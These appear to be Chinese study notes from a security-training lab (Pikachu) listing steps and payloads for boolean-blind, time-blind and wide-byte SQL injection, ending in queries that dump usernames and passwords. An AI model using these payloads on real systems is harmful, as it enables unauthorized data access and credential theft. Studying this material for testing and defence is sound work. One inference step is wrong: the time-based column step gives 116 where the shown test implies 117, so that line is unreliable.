SQL注入之常见注入的步骤④
盲注:(布尔)
①判断注入:name=kobe’ and 1=1 %23 正常, name=kobe’ and 1=2 报错 存在注入
②通过length判断数据库的长度
name=kobe’ and length (database())>6 %23 正常,>7报错 所以长度为7
③判断数据库第一位的ascii值
name=kobe’ and ascii(substr(database(),1,1))>111 正常 >112报错 所以库的第一位ascii值为112
④判断数据表第一位的ascii值
name=kobe’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1),1,1))>103%23 正常 , >104报错 ascii值为104
⑤判断字段:与表类似
⑥判断数据:
name=kobe’ and ascii(substr((select username from users limit 0,1 ),1,1)) >96 %23 正常, >97报错 所以第一个username的ascii值为97
盲注(时间)
①判断注入:kobe’ and sleep(5) 延时5秒后才显示,存在注入
②通过ascii判断数据库
kobe’ and if(ascii(substr(database(),1,1))>111,sleep(6),1) 有延迟 >112 无延迟 第一位ascii为112
③爆数据表
kobe’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1),1,1))>103,sleep(6),1)# 有延迟,>104无延迟 所以第一位ascii值为104
④爆数据列
kobe’ and if(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1))>116,sleep(6),1)# 有延迟,>117无延迟 所以第一位ascii值为116
⑤爆数据
kobe’ and if(ascii(substr((select password from users limit 0,1),1,1))>100,sleep(3),1)# 有延迟, >101无延迟 所以第一位ascii值为101
宽字节注入
①抓包
②判断注入:在后面加%df’看是否报错,报错为宽字节注入
③判断列数:name=a%df’ order by 3 报错,order by 2 无报错 为2列
④爆数据库:name=a%df’ union select 1,database()%23
⑤爆数据表:name=-a%df’union select table_name,2 from information_schema.tables where table_schema=database()%23
⑥爆数据列name=-a%df’union select column_name,2 from information_schema.columns where table_name=‘users’%23
⑦爆数据name=-a%df’union select concat(username,0x7e,password),2 from users%23